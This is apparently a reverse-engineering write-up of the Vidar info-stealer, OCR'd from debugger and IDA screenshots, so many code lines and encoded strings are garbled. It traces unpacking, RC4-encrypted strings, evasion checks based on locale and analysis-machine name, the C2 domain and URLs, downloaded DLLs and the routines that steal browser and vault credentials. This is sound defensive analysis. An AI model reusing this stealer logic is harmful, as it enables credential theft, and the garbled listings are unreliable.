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Vidar Stealer Malware Analysis

Overview
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https://m4lcode.github.io/malware%20analysis/vidar/

Vidar is a forked malware based on Arkei. The malware runs on Windows and can collect a
wide range of sensitive data from browsers and digital wallets. It seems this stealer is one of
the first that is grabbing information on 2FA Software and Tor Browser. It was first discovered
in the wild in late 2018

SHA256: 5cd0759cle566b6e74ef3f29a49a34a08ded2dc44408fccd41b5a9845573a34c

Unpacking

Vidar stealer malware is packed with a loader. | opened it in x64dbg and | put a breakpoint in
the return of VirtualAlloc

/5B8FZB5 8B/5 FC mov esi,dword ptr ss:|llebp-4]
7588F2B8 8BCO mov eax,esi
7 5B8F2BA 5E pop esi
75B8F2BB 8BES mov esp,ebp
75B8F2BD 5D pop ebp

| c2 1000 ret 10

L@/ 5B8F2CL 8BC8 mov ecx,eax
75B8F2C3 E8 C841FFFF €all kernelbase.75B83490
75B8F2C8 ~ EB EE jmp kernelbase./75B8F2B8
75BBF2CA Be int3

| ran the debugger until | hit the breakpoint, then | followed EAX in dump and ran the
debugger again, there is a PE file generated.

Woumpt  @pumpz  EWoump3  @pump4  @houmps @ watch1  Ix=llocals 57 Struct

Address
02250000

02250010
02250020
02250030
02250040|0E 1F BA OE|00 B4 09 CD|21 B& Ol 4C|CD 21 54 68|..°.. .f! .Lf!Th
02250050|69 73 20 70|72 6F 67 72|61 6D 20 63|61 6E 6E 6F|is program canno
02250060(74 20 62 65|20 72 75 6E|20 69 6E 20|44 4F 53 20|t be run in DOS
02250070|6D 6F 64 65|2E OD 0D OA|24 00 00 00|00 00 00 00|mode....S$.......
02250080 |6F 86 1F EO|2B E7 71 BA|2B E7 71 BA|2B E7 71 BA|0..&+Cqo+Cqo+Cq®
02250090|3F 8C 72 BB|3E E7 71 BA|3F 8C 74 BB|B6 E7 71 BA|Z.r»>cq°?.t»Ycq®
022500A0|3F 8C 75 BB|31 E7 71 BA|79 92 75 BB|3A E7 71 BA|Z.u»1cq°y.u»:cq®
02250080|79 92 72 BB|38 E7 71 BA|79 92 74 BB|67 E7 71 BA|y.r»8cq%.T»gcq® v

Let’s follow it in memory map and dump it to a file with name “droppedfile_1.bin”

If we followed EAX in dump and ran the debugger for the second time, we will see strange
strings, but if we did it for the third time, we will see that there is another PE file generated.
Let's dump it to a file with name “droppedfile_2.bin” and try to analyze the dropped files.

Let’s start with the first dropped file “droppedfile_1.bin” and open it in pestudio and go to
strings section, we will see that it contains many strings
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directories (&)
sections (3)
libraries (4)
imports (flag)

----- EI manifest (aslnvoker)

..... ] owverlay (size » file-ratio)

.rdata
.rdata
-rdata
.rdata
-rdata
.rdata
-rdata
.rdata
-rdata
.rdata
-rdata
.rdata
-rdata
.rdata
-rdata

.rdata x

and if we looked at the strings, we will see that the file looks like a dll not the main
executable

So let’s open the second dropped file in IDA.

When we go to the first call we see a string, network 10C, decoded strings by base64.
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int result; //

dword_432354 =
dword_4326D8 =

dword_432688 =
dword_432608 =
dword_43236C =
dword_432494 =
dword_432694 =
dword_432558 =
dword_43214C =
dword_432438C =
dword 4321F8 =
dword_43242C =
dword_432588 =
dword_432884 =
dword_432564 =
dword_4325(8 =
dword_432558 =
dword_43258C =
dword_432184 =
dword_4321CC =

eax

(int)"@561399548534304088" ;
"himarkh.xyz";
Mode = (char *)sub_422F7@("LQ==");

(char
(char
(char
(char
(char
(char
(char
(char
(char
(char
(char
(char
(char
(char
(char
(char
(char
(char

*)sub_422F70( "KaoQpEzKSjemB0Q==");
*}sub_422F78("CacQpEzKRGjzgAToxsEfmfrFl/2doNghOeYatRNEr22RvgdoQ5z20E119dbLETI+8RVIQBE+ga2Kng==");
*Ysub_422F78( "DboNtELQF3/+oFA=");

*)sub_422F78( "GLoXEgmCFw==");

*)sub_422F78( "DEAGOhOHQTY=");

*)sub_422F70( "GbwOoFzTATf+y@KojtY5kaQ=");
*)sub_422F78( "CacQpEzKRAM/685SwiotXjufNyQ==");
*)sub_422F78( "F7IJUEDIAWMWXWRNLzp8=");
*Ysub_422F78( "HYYqlBOHQTY=");

*Ysub_422F78( "HrwOsUDIRAU/GEL/yB1E"™);
*)sub_422F78( "DbwRUB7VCzCuvwPgmA==");
*Ysub_422F78( "EbYaskbGFiH+yUKriI1TB7KbgPCVIg==");
*)sub_422F7@("ErIRtF7GFil+-gA7oxsEfmfrFl/2d0ONghOeYatRNBr22RvgdoQSz20E119dbLETI+BRVLIGBE+g42Kng==");
*)sub_422F78("CqEMs@zUFyqsvwPgmaA==");
*)sub_422F78( "FrwEulrGCGWUSeymjp9B26WbgPCVeQ==");
*)sub_422F78( "DLoHtUBEBTe6vwPgmA==");
*)sub_422F78( "HroQoEXGHX/+oFA=");
*)sub_422F70("CIIuGgmCFw==");

Encrypted Strings

So, let’s decode it in CyberChef
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Recipe Oom s Input + O3 8 =

K EZKSjGmBQ=-
From Base64 Q n 20QpEzKSGmBQ==|
Alphabet
A-Za-z0-9+/= ¥ Remove non-alphabet chars
[ strict mode
mc 16 = 1 Tr Raw Bytes & LF
OQutput a FD m ::

[y2oemLEIL )

The output is encrypted with a cipher, let's examine sub_422F70 call to know which cipher is
used.

from sub_422980 call we know that the cipher used is RC4, I'll call sub_422980
“‘RC4_decrypt” and sub_422F70 to “strings_decrypt”.

| Pseudocode-A

wvoid *_ cdecl sub 42298@(const char *al, const char *a2, _DWORD *a3}

{
~

int w3; // ecx

void *result; // eax

int v5; // [esp+34h] [ebp-828h]

int w6; // [esp+34h] [ebp-828h]

int v7[257]; // [esp+3Ch] [ebp-818h]
int wB; // [esp+448h] [ebp-414h]
_BYTE *v9; [/ [esp+444h] [ebp-418h]
int i3 // [esp+448h] [ebp-4ech]

int w11[256]; // [esp+44Ch] [ebp-488h]
int j; // [esp+858h] [ebp-4h]

L= I T B R O i )
==

o
1 s Ll Ra

Vs = @3
for { i =@; 1 < 256; ++i }

4 op
o

e el =
OO0 )

2@

Let’s go back to sub_423050, | think that the first string is the decryption key.

3| LPVOID result; // eax

4

5| dword_432354 = (int)"B561399543534384058" ;

6| dword_4326D8 = "himarkh.xyz";

7| Mode = {char *)strings decrypt({int)"LQ==");

3| dword 432608 = (char *)strinmgs_decrypt((int)"KaoQpEzKSjom8Q==");

9| dword_432688 = (char *)strings_decrypt((int)"CaoQpEzKRGjzqA7oxsEfmfrFl/2d0ONghCeYatRNBr22RvEdoQSz20E119dbLETI+ER
18| dword_43236C = (char *)strings_decrypt((int)"DboNtEbQF3/+0FA=");

11| dword_432494 = (char *)strings_decrypt((int)"GLoX6gmCFw==");

12| dword 432694 = (char *)strings decrypt(({int)}"DAGOhOHQTY=");
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let’s go to CyberChef and see.

Recipe

From Base64
Alphabet
A-Za-z@-9+/=

[ strict mode

RC4

Passphrase

e56139954s..  UTFE™

So this function

Bl F input + OS5 F =
,&. T KaoQpEzK5jGmB8Q==
M Remove non-alphabet chars
S n
Input format Output format
Latin1 Latin1
- 16 = 1 Tr Raw Bytes & LF
Output A0 m::
EyStem.txﬂ

decode the base64 encoded strings then decrypt the rc4 decrypting strings.

I'll call it “strings_decode”

LPVOID result; // ea

system_txt_@ = (char

dword_43260@ = (char

B0 00 W @ W e
==

I dword_43236C = (char

dword_432494 = (char
12 dword_432694 = (char
13| dword_43255@ = (char
14| dword_43214C = (char
15| dword_43248C = (char
16 dword_4321F8 = (char
17| dword_43242C = (char
13| dword_432588 = (char

19| dword_4328A4 = (char

LPVOID strings_decode(}
RC4_key = (int)"@56139954853430488";

network_ioc = "himarkh.xyz";
Mode = (char *)strings_decrypt((int)"LQ==");

How

¥ KaoQpEzZKSjGmEQ==");// system.txt
)strings_decrypt((int)"CaoQpEzKRGjzqA7oxsEfmfrFl/2d0ONghOeYatRN8r22RvEd0QSz20E119dbLETI+8RV1GBE+g42Kng==");// System
*)strings_decrypt((int)"DboNtEbQF2/+0FA=");// Windows: ¥s

}strings_decrypt((i "GLoX6gmCFw==");// Bit: s
*}strings_decrypt((int)"DEAGohOHQTY=");// User: ¥s
Jstrings_decrypt{(i "GbwOoFzTATf+y@KojtyskaQ=");// Computer Name: Xs
*)strings_decrypt((int)"CaoQpEzKRAmM/6@SwiotXjufiyQ==");// System Language: ¥s
}strings_decrypt((int)"F7IJuEDIAWNXwRN1Zp8=");// Ma
*}strings_decrypt((int)"HYYglBOHQTY=");// GUID: ¥s

Jstrings_decrypt{(i "HrwOsUDJRAU/6Eb/y81B™);// Domain Mame: ¥s
*}strings_decrypt((int)"DbwRu7vCzCuvwPgmA==");// Workgroup: ¥s
)strings_decrypt((int)"EbYaskbGFiH+yUKrjllTe7KkbgPCVZg==");// Keyboard Languages: %s

After decoding and decrypting all strings Let’s go to the next call sub_419700

Resolve AP

Is

The first call is returning handle of kernel32 dll

ta Unexplored External symbol [l Lumina function
| DAView-A [ Pseudocode () pseudocode-d [ (O]  Hexview1 [ Stuctres ] [F) Enums (=] Imports [ (@ Exports [
N 1jint sub_4196D8()

2

3| return *(_DWORD *)(***((_DWORD ***)NtCurrentPeb()->ImageBaseAddress + 3) + 24);

4

I'll call it “get_handle_kernel32”

Next we see that (handle_kernel32) is passed to sub_4195A0 function to resolve
LoadLibraryA and GetProcAddress.
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3
oL

-

handle_kernel32

if ( handle_kern

1
dword_432898
dword_43288C
dword_432814
dword_4323D4
dword_4328BC
dword_4329@8
dword_4328858
dword_43278C
dword_4327C8
dword_432918
dword_432878
dword_4328Ce
Awnrd 4378FR

[EPE
W oo

=)

MLl R R ORI ORI RS R R RI R
U ® 00 oW B Wk
L T T T T

;;;;;;; 3 F& peapn

e N b
= get_handle_kernel32();
nel3z )

(int (_ stdcall
(int (_ stdcall
dword_432806C(handle_kernel32,
dword_432806C(handle_kernel32,
dword_43280C(handle_kernel32,
dword_4328@C(handle_kernel3z,
dword_432806C(handle_kernel32,
dword_43280C(handle_kernel32,
dword_43280C(handle_kernel 34,
dword_43288C(handle_|
dword_43288C(handle_kerne

dword_43280C (handle_kernel32,
Awnrd ARIRAC handle 122

karna

*)(_DWORD))sub 4195A8(handle_kernel32, *(_DWORD

*)(_DWORD, _D;,RD))sub 4195A8(handle_kernel32, *(_DWORD

)LoadleraryA_@);
*)GetProcAddress_@);
*)ExitProcess_@);
*)@etUserDefaultlangID_@);
*)FindFirstFileA @);

*)DeleteFileA @);

*)JFindNextFileA 8);

*)FindClose_8);

*)@etSystemInfo_8);
*)alobalMemoryStatusEx_@);
*)@etComputerNamel_@);

*}IsWowb4Process_9);

FARetrurreantPracress B

So let's rename dword_432898 to LoadLibraryA_1 and dword_43280C to
GetProcAddress_1, now everything is clear GetProcAddress_1 is used to resolve all the
other API calls. Let’s rename every dynamic function to make our analysis easy.

un

15| int w123 // [esp+2Ch] [ebp-4h]

16

17( handle_kernel32 = get handle_kernel32();

18( if ( handle_kernel32 )

19

28 LoadLibraryA_1 = (int (__ _ D

21 GetProcAddress_1 = (int ( tdca;l *)(_DWORD,

22

22

24 *(_DWORD *)ExitProcess_0_@ =

25 *(_DWORD *)GetUserDefaultlangID 6 @ =

26 FindFirstFileA ® @ = GetProcAddress_1(handle_kernel32,

27 DeleteFileA @ @ = GetProcAddress_1(handle_kernel32, *({_DWORD
28 FindNextFileA @ @ = GetProcAddress_l1(handle_kernel3z,

29 FindClose_# @ = GetProcAddress_1(handle_kernel32, *{_DWORD
38 GetSystemInfo @ @ = GetProcAddress_1(handle_kernel32, *{_DWORD
3 GlobalMemoryStatusEx_8 @ =

32 GetComputerNameA 8 8 = GetProcAddress_1(handle ker

33 IsWowb4Process_@ @ = GetProcAddress_l(handle_kernel32, *(_DWORD
34 GetCurrentProcess_8 8 =

2

GetProcAddress_1(handle_kernel32, *{_DWORD
GetPPocﬁddress_l(hand e_kernel32, *(_DWORD

GetProcAddress_1(handle_kernel32, *(_DWORD

_B GetProcAddress_1(handle_kernel3z, *(
GetlLocalTime @ @ = GetProcAddress_1f{handle_kernel32, *(_DWORD

D) )custom_get_proc_address(handle_kernel32, *(_DWORD
_DWORD) }custom_get_proc_address(

handle_\e ~nel32,

*(_DWORD *)GetProcAddress_8);
*)ExitProcess_@);

il *)GetUserDefaultLangID_8);

*(_DWORD *)FindFirstFileA @);
“JDeleteFiled 8);
*(_DWORD *)FindNextFileA_@);
*)FindClose_@);
*)GetsystemInfo_@);
*)GlobalMemoryStatusEx_@);
JORD *)GetComputerNameA @) ;
*)Iskowe4Process_@);
WORD *)@etCurrentProcess_8);
*YaetLocalTime_8);

*YLeadLibraryA_@);

2, *(

| will call the function which we are in to resolve_APIs and go to the next call sub_41F4A0

text:@ed421466
text:aed421466
text:@ed421466
text:@ed421481
text:@ad214635
text:@ed421468
text:ee421460
text:@@421412
text:@e421417
text:@e421419
text:@84214186

AT AT

He et

nShowCmd = dword ptr 14h
push ebp
mov ebp, esp
mov ecx, offset unk_4326F3
call strings_decode
call resolve APIs
call sub_41F448
test eax, eax
jz short loc_421429
call sub_41B788
¥ R e FoE——,

We see that there is GetUserDefaultLangID call so let’'s rename v1 to UserDefaultLangID.
sub_41F4AO0 call is comparing the default language ID of the pc with some other IDs if the
IDs are the same the function will return 0 and the malware will stop execution.
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| Pseudocode-A [m]

int sub_41F4A8()

2

i

3| unsigned int UserDefaultLangID & 8; // [esp+&h] [ebp-Ch]
4| dint v2; // [esp+sah] [ebp-8h]

5

5 vz =1;

7| UserDefaultlLangID_ @ @ = GetUserDefaultLangID @ 8();
8| if ( UserDefaultlangID @ @ > ®x43F )

9

1@ if ( UserDefaultLangID @ @ == 1891 )

11 {

12 Vi o= 8

13 1

14 else if ( UserDefaultlangID @_@ == 20892 )

15 {

16 v o= 8

17 !

18| }

1al elza

After searching for these IDs we know that the malware will stop execution if the pc default
language is (Uzbek, Azeri, Kazakh, Russian, Ukrainian, Belarusian). I'll call this function
“‘check_lang_id”.

let’'s go to the next call sub_41B700 and go to the first function sub_41B2EOQ. There is
GetComputerNameA function

| Pseudocode-A

lichar *sub_41B2E6()

2t

3| char *result; // eax

4| int vl; // [espt@h] [ebp-114h] BYREF
5| _DWORD v2[67]; // [esp+éh] [ebp-118h] BYREF
3

7 vl = 2688;

8| if ( GetComputerNameA_@_@(vz, &v1) )
9 result = (char *}v2;

18| else

11 result = (char *)Unk_@;

12 return result;

13[}

| will call this function “Get_Computer_Name” and go back to sub_41B700. We see that the
function sub_41B2EQ0 is returning in vO

l | Pseudocode-A

1lint sub_41B7@a()

{

1
3| char *vB; // eax

4| char *v1; // eax

5| const char *v3; // [esp-4h] [ebp-8h]
6| const char *v4; // [esp-4h] [ebp-8h]
7| int v5; // [esp+8h] [ebp-4h]

8

q

vh = 13
1 V3 = AALYTH_B;
1 v = Get_Computer_Name();
1 b T VAT R T
13| {
14 v4 = JohnDoe_@;
15 vl = sub_41B1E@();
16 if ( !_stricmp(vl, w4} )
17 vs = 8;

so let’s rename VO it to “computer_name”. Then “computer_name” function will be compared
with v3 and v3 is HAL9TH if they are equal it returns zero which means that the malware is
being analyzed so the malware will stop execution
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= 1;

[T

v

if

\

el

=-a;

}

return v5;

b

= HALOTH @;
mputer_name
if ( ! _stricmp(computer_name,

JohnDoe_8;
sub_41B1E@();
! stricmp(vl,

v4) )

= Get_Computer_Name();

v3) )

sub_420BEO is the last call so let’s get into it. let’'s go to the first call sub_421620

] | Pseudocode-A

1llchar *__thiscall sub_421628(char

21

3| memset(this, @, 8x148u);

4| *((_DWORD *)this + 3) = a2;

5| strepy_s(this + 16, 28u, "1BEFBASTBE11GFD467A");
6| *({ DWORD *)this + 1) = 500000;

7| *(_DWORD *)this = operator new[](*(({_DWORD *)this + 1});
8| memset(*(void **)this, @, *((_DWORD *)this + 1}));
9| *((_DWORD *}this + 9) = a3;

18| *({_DWORD *)this + 14) = a4;

11| *({ DWORD *}this + 15) = a5;

12| *({_DWORD *)this + 16) = ab;

13| return this;

14

*this, int a2, int a3, int a4, int a5, int a6)

We see a string which looks like a key, this function is returning to this which means that the
function initializing the value of the structure, so I'll call it “init_this_struct”.

C2 Communication

In the next call we see wsprintfA functions.

V3

R T i N I SR Y ) R F R S S

= ¥

wsprintfA_@ e(v21,
wsprintfaA_ @ e(vle,
wsprintfA @ 8(vls,
wsprintfaA_@ e{v22,
wsprintfA_@ e(vlo,
wsprintfa_@ e(vl7,
wsprintfA_@ e(v23,
wsprintfA_@ 8(src,
lstrcatA_@ @(v12, dword_432578);
i — sk ATARRA BwEn Y .

dword_432244 ,
dword_432528,
dword_43252C,
dword_4326E4,
dword_43259C,
dword_43256C,
dword_432294,
dword_4322E8,

network_ioc);
network_ioc);
network_ioc);
network_ioc);
network_ioc);
network_ioc);
network_ioc);
network_ioc);

Let’s see the xrefs of dword_432244

48
41
42
43
a4

Zone_Identifier @& = str‘1ngs decrypt({lnf:l"YII-:.‘WR}r]LSG?Eles]WXxg
*Ystrings_decrypt((int)"AvkMukzzEiSwakienbESICiG3snUKMc=");// [ZoneTran:

strings_decrypt((int)"f6BMAQTNFCIA |

strings_decrypt({(int)"f6BMagTNFCI-

dword_4326B8
dword_432244
dword_432528
dword_43252C

(char °

"y;// %s/1.]jpg

:Zone.Identifier

"y: i/

T377 R=rZ-1PE

strings_decrypt((int)"feBMawfNFCI=");// %s/3.]jpg
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Everything is clear now, %s will be replaced with the network ioc “himarkh.xyz” and become
“himarkh.xyz/1.jpg”, let's rename the dword_432244 to “network_ioc_1_jpg” and do that to
the next dwords.

47| MEMSeT|vib, W, S1ZEOT[Vib));
49| init_this_struct(&unk_4294CF, 65801, @, @, @);

sa| vie = @;

51| wsprintfA_@ @(v21, network_ioc_1 jpg, network_ioc);
52| wsprintfA @ @(vl6, network_ioc_2 jpg, network_ioc});
53| wsprintfA_@ @(v13, network_ioc_3 jpg, network_ioc);
54| wsprintfA @ @(v22, network_ioc_4 jpg, network_ioc);
55| wsprintfA @ @(v19, network_ioc_5 jpg, network_ioc);
56| wsprintfA @ @(v17, network_ioc_6 jpg, network_ioc);
57| wsprintfA @ @(v23, network_ioc_7_jpg, network_ioc);
58| wsprintfaA @ @(5rc, network_ioc_main_php, network_ioc);
59| lstrcatA @ @(v12, dword 432578);

68| vB = sub_41A588(8xFu);

61| lstrcatA @& @(v12, v@};

next we see dword_432570 is assigned to v12, let’s see the xrefs of dword_432570

Sb| OWOrd_s4s52:50 = STCLNES _OeCTYPT(LINT) TBASJAZU }3// BS\\AS
37 word_432178 (LML JSLrings GECrypLLLINL) TBA= J3/7 B
38] dword_432578 = strings_decrypt((int)"Gek/jHnVCyKsSEGBiphT6Is="};// C:\\ProgramData\\

39 ety s

rE] ) Dy

It gets the path of program data folder, let’'s rename it to get_path_programdata and rename
v12 to path_programdata.

In the next call we see GetTickCount so this function is getting a random value.

| Pseudocode-A
1| BYTE *_ cdecl sub_41A588(size_t S5ize)
2t
3| unsigned int wl; // eax
4| _BYTE *v3; [/ [esp+8h] [ebp-8h]
5| signed int i; // [esp+sh] [ebp-4h]
6
7| w3 = mallocfSize);
8 w3 = 8;
9l vl = GetTickCount @ @();
18| srand(vl);
11| for { i = @; i < (int)Size; ++i )
12
13 rand(};
14 wsprintfa_@ @(v3, dword 4325aC, v3);
15
16| v3[i] = @;
17| return v3;
18}

| will call it “get_random_value”, then the value is returned to vO0.

56| wsprintfA @ @(v17, network _ioc_6 jpg, network_ioc);
57| wsprintfA @ @(v23, network_ioc_7 jpg, network_ioc);
58| wsprintfA @ @(5rc, network ioc main php, network ioc);

54 is:ncatﬂ_ﬁ_aflﬂn—h_rﬂ'ﬂa".=|'1'r|.=|—.=| M'}rogr‘amdatajj
6 viE = get_random_value(8xFu); |
61 frath Aenoramdats ) -

62| vl = get_random_value(@xAu);

63| wsprintfA @ @(FileName, dword_4326F4, vl1};

64| wsprintfA @ 8(v25, dword_4322BC, path_programdata);
65| lstrcatA @ @(v2e, path_programdata);
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| will rename vo to “random_value”.

next we see that random value is being concatenated to the path of program data, this
means that there is path is being generated.

next we see dword_4326F4 is assigned to FileName

27| WSPrintTA @ @(Vv.s, NeTWOrk_1oc_/_Jjpg, NeTWOrK_10C);

58| wsprintfa @ @(5rc, network_ioc_main_php, network ioc);
59| lstrcatA_@_@8(path_programdata, get path_programdata};
68| random_value = get_random_value(@xFu});

61| lstrcatA @ @(path_programdata, random_wvalue);

o vl = ECL_I ﬂIIuUIII_\!ﬂJ.Ul:kU'M"\U‘I ]

63| wsprintfA @ @(FileName, dword_4326F4, vl);

k=3 L Pf J.IILIH_U_UI\'. ~y W I.rl_"P_F Uy e _II_F “5 f=Lin=p=] _-C|‘l'

65| lstrcatA @ @(v2e, path_programdata);

66| lstrcatA_@_e(v2e, dword 4322E8);

let's see the dword xrefs

54| 1pFileName = (LPCSTR}strings_decrypt((int)"Gek/jHnVCyKsSEGBiphT6IublbbEepSiI+VWTIFI="};//
55| dword_4328F4 = (LPCSTR)strings_decrypt((int)"Gek/]j E Tue2alFedFleadarAs,/5izQ)’
56| dword 4326F4 = strings decrypt((int)}"BfYQ/1POFA=="]);// ¥=.zip

57| dword_4322E@ = strings_decrypt((int)"Bo9jvebMDSCt"TIr7T—%"

58| dword 432204 = strings_decrypt((int)"BoBCpV3IAiyyeQ==");// ‘\autofill

Cin Avsmmd ATASAR - mFedmas Adammaon G TR T = N P L B R

There is a file generated with extension .zip that has the stolen data. It's clear now The path
C:\ProgramData[A-Z0-9]{25}\files\ is generated for collecting stolen data then the malware
compress the folder “files” to zip file.

Let's see this call.

71| lstrcatA_8 8(v28
(

5
)
)
sub_4z2eese(dint)
)
)
)
)

= (path_
dword_4327F8(vze, @);

» path_programdata);
, dword_432eC4);

1pFileName);
dword_432568)
dword_4322F@)
dword_432393)
2, dword_432458);
9, dword_432448);
3, dword_4320F4);
programdata, 8);

:
3
]

After looking into this call we see that this call is downloading from internet
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51 {
52 v2@ = 1;

53 InternetSetOptionA @ _@(v22, 65, &v20, 4);

54 *((_DWORD *)this + 16);

55 *({_DWORD *)this + 15);

56 sub_4e133@(v23);

57 v19 = InternetConnectA @ @(v22, v2, 80, v7, v, 3, 8, 1);

58 if { vio )

59

60 InternetSetOptionA_B_O(v:?, 65, 1, @);

61 v3 = sub_481338(v2

62 V18 HttpOpenRequestA @ _@a(vid, "POST", v3, @, @, B, Gx4e0008, 1);
63 if ( viB }

64 {

5 sub_4217AB(v18);

66 sub_4811C8(v17, “"Content-Type: multipart/form-data; boundary=");
67 LOBYTE(v26) =

68 sub_4@1ECR(this + 16);

69 v3 = Cencurrency::details::_CancellationTokenRegistration::

70 vi = sub_401338(v17);

71 HttpAd_@(vis, v4, vi, @x20000000);

72 _itoa_s(*((_DWORD *)this + 2), Buffer, @x32u, 10};

73 std: :string::operator=("Content-Length: "};

74 sub_481EC@(Buffer);

75 v1@ = Concurrency::details::_CancellationTokenRegistration::

76 VS = sub_4@133@(v17);

77 HttpAd_@(vis, vs, v1e, 8x20986000);

78 if ( HttpSendRequestA_8& 8(v1S, @, 8, *(_DWORD *)this, *({_DWORD *)thi
79

e vid = 26@;

81 if ( HttpQueryInfoA_ @ @(v1s, 46, str, &vl4, @) )

o

a3 InternetCloseHandle_G_B(wLS);

84 strlv _—]

85 vl2 (un;_gned intd *)sub_4@1E58(5tr, "http");

so I'll call it “download_file”

71 lstrcatﬁ_ﬁ_&( r28, path p':g amdat a);

7 lstrcatA @ @(v2E, dvord _4328C4);

73| download file((int)v17, softokn3_dll};

74| download file((int)v 2_, sqlite3 dl11};

75| download file((int)vle, freebl3 dll};

76| download file((int)v18, mozglue dll};

77| download file((int)v22, mswvcpld4d dll};

78| download file((int)v19, nss3_dll);

79| download file((int)v23, wvcruntimel4® dll};
88| dword_4327F8(path_programdata, @);

_GetToken((Concurrency::

_GetToken((Concurrency::

s::_CancellationTokenRegistration *)

tails::_CancellationTokenRegistration *

After seeing the xrefs of the dwords and renaming it we can say that the malware is
downloading these DLLs then request pages containing the configuration values for which

data to collect. and these dlls are downloaded in C:\ProgramData\

After that there is CreateDirectoryA and SetCurrentDirectoryA functions, let’s get into the

next call sub_41EBDO0

&=

sub_41BEE®();

sub_41C818();

sub_41EABe(dword_4324F4, Google Chrome_8);
sub_41EAB®(dword_4325E4, Chromium_@);
sub_41EAB@(dword_43253C, Kometa_@);
sub_41EAB@(dword_43246C, Amigo 8);
sub_41EAB@(dword_43267@, Torch_@);
sub_41EAB@(dword_43238C, Orbitum @);
sub_41EAB®(dword_432684, Comodo_Dragon_@);
sub_41EABB(dword_432324, Ni);
sub_41EAB@(dword_432358, Maxthon5 8);
sub_41EAB®({dword_4321BC, Sputnik_8);
sub_41EAB8(dword_4324DC, EPB_8);
sub_41EAB@(dword_432328, Vivaldi_@);
sub_41EAB@(dword_43231C, Co);
sub_41EABB8(dword_43223C, Uran_Browser_@8);
sub_41EAB@(dword 43235C, QIP Surf @);
sub_41EAB®(dword_432588, Cent_@);
sub_41EAB@(dword_432358, Elements_Browser @);
sub_41EAB®(dword_43268C, TorBro_@);

sub 41EABB( "\ \Microsoft\\Edge\ \User Datal\\", "Microsoft

[RP P

[

(<IN Y= I =R I I R - WY C O SR o~ I T B R, B S WY S B
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Edge™);
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Let’s go to the first call sub_41BEEO

38| vo = @;

31| v7 = LoadLibraryA_1(vaultcli dl1 @);

32( if { v7 )

33| {

34 dword_432784 E (1n" i ;fdcall *)(_DWORD, _DWORD, _DWORD))GetProcAddress_1(v7, VaultOpenVault @):

35 dword_432748 = ") (_DWORD) )GetProcAddress_1(v7, VaultCloseVault @);

36 dword_432758 = “}(_DWORD, _DWORD, _DWORD, _| D) JGetProcAddress_1(v7, VaultEnumerateItems_@);
37 dword_4326FC = *) (_DWORD, _DWORD, _DWORD, DWORD, DWORD, DWORD, _DWORD))GetProcAddress_1(
38 V7,

39 VaultGetItem @);
48 dword_43275C = WORD, _DWORD, DHWORD, DWORD, DWORD, DWORD, _DWORD, _DWORD))GetProcAddress_1(v7, VaultGetItem @);
41 dwor‘d | 432760 = 1 .,F\E)jGetPr‘ocAddress 1( » VaultFree_@);

42 dwor‘d 432?94(&unk 431@8C, v15);

43 1‘F( Ivig )

a {

as v1l4 = dword_432758(v15, 512, &v16, &vl17);

46 if ( Ivia )

43 if ( vl6 }

49 1

58 Stream = fopen(passwords_txt_@, dword_432188);

51 for ( i =@; i ¢ vi6; ++i )

52 {

53 if ( w13 )

If we searched for VaultOpenVault and the other functions we will know that these functions
is used to steal Internet explorer data. So this function steals IE data. I'll call it “steal_data”

. it et E
18| steal IE data();
11| sub_41C816L%:
12| sub 41EABGoog1e Chrome_8) ;
13| sub_41EABETOWOTH. 3 Chromium_@) ;
14| sub 41EABB(dwor‘d 43253[ Kometa_8);

5| sub_41EAB@(dword_43246C, Amigo_8);

6| sub_41EAB®(dword_432678, Torch_e);

-l

sub_41EAB@(dword_43238C, Orbitum 8);

sub_41EAB@(dword_432684, Comodo_Dragon_8);
sub_41EAB@(dword_432324, Ni);

sub_41EAB®(dword_432358, Maxthon5_8);

sub_41EAB@(dword_4321BC, Sputnik_8);

sub_41EAB@(dword_4324DC, EPB_8);

sub_41EAB@(dword_432328, Vivaldi @);

sub_41EAB@(dword_43231C, Co); |
sub_41EAB@(dword_43223C, Uran_Browser_@8);
sub_41EAB@(dword_43235C, QIP_Surf_8);

sub_41EAB@(dword_4325B8, Cent_8);

sub_41EAB@(dword_432358, Elements_Browser_8);
sub_41EAB@(dword_43268C, TorBro_8);
sub_41EAB@("\\Microsoft\\Edge\\User Data\\", "Microsoft Edge");
sub_41EAB@(dword_432128, CryptoTab_8);

sub_41EAB@(dword_4326E@, Brave_@);

cuh ATEQQRS Awnrd A27IER Nnara &Y«
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let's see the xrefs of dword_4324F4

UWUIU_S23£200 = | LILJISLILNES UBLPYPLLL LI ) DUSSUCZVDWMNNDEWATILLADT WSS dUVLIUS R/ IWTLLIWONN= )3/ WWWPEDNd U Liwdie s Wwpei'd seapie!’
Opera_® = (int)strings_decrypt((int)"FaMGokg=");// Opera

138| dword _4324F4 b (int)strings decrypt((int)"BoskvebACCCC2WCEMYNTEYUB7EPVZAVIdbOW");// \\Google\\Chrome\\User Data
139| Google Chrome_@ = (int)strings_decrypt((int)"HbwMteXCRAa29@yojg==");// Google Chrome
14@| dword_4325E4 = (int)}strings_decrypt((int)"Bo8guFvICSyr6H+ZvpoXxves26TR"};// \\Chromium\\User Data

Now it’s clear the function sub_41EABO steals the user data of google chrome, I'll call it
“steal_chrome_data”. Next function is to steal opera data, I'll call it “steal_opera_data” and
the next funtion is to steal mozilla firefox data, I'll call it “steal_mozilla_data”.
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DML Taoaney g

steal chrome_data(dword 4324F4, Google Chrome 8);
steal chrome_data(dword 43254, Chromium @8);
steal chrome_data(dword_43253C, Kometa_@);

steal chrome_data(dword_43246C, Amigo @);

steal chrome_data(dword 432678, Torch_8);

steal _chrome_data(dword_43238C, Orbitum_@);

steal chrome_data(dword 432684, Comocde Dragon_ @) ;
steal chrome_data(dword 432324, Ni);

steal chrome_data({dword 432358, MaxthonS 8);
steal chrome_data(dword_4321BC, Sputnik_@8);

steal chrome_data(dword_4324DC, EPB_8};

steal chrome_data(dword 432326, Vivaldi @);

steal chrome_data(dword_43231C, Co);

steal chrome_data(dword_43223C, Uran_Browser_8);
steal chrome_data(dword 43235C, QIP Surf _@);
steal chrome_data(dword 432588, Cent @);

steal chrome_data({dword 432358, Elements Browser_8);
steal chrome_data(dword_43268C, TorBro_8);

steal _chrome_data("\\Microsoft\\Edge\\User Data\\", "Microsoft Edge"};
steal chrome_data(dword 432128, CryptoTab_8});
steal chrome_data(dword 4326E8, Brave_8);

steal opera_data(dword_432368, Opera_8);

steal mozilla data(dword 432266, Mozilla Firefox_@);
steal mozilla data(dword 43251C, Pale Moon_8);
steal mozilla data(dword 432444, Waterfox 8);
steal mozilla data(dword_ 432284, Cyberfox_8);
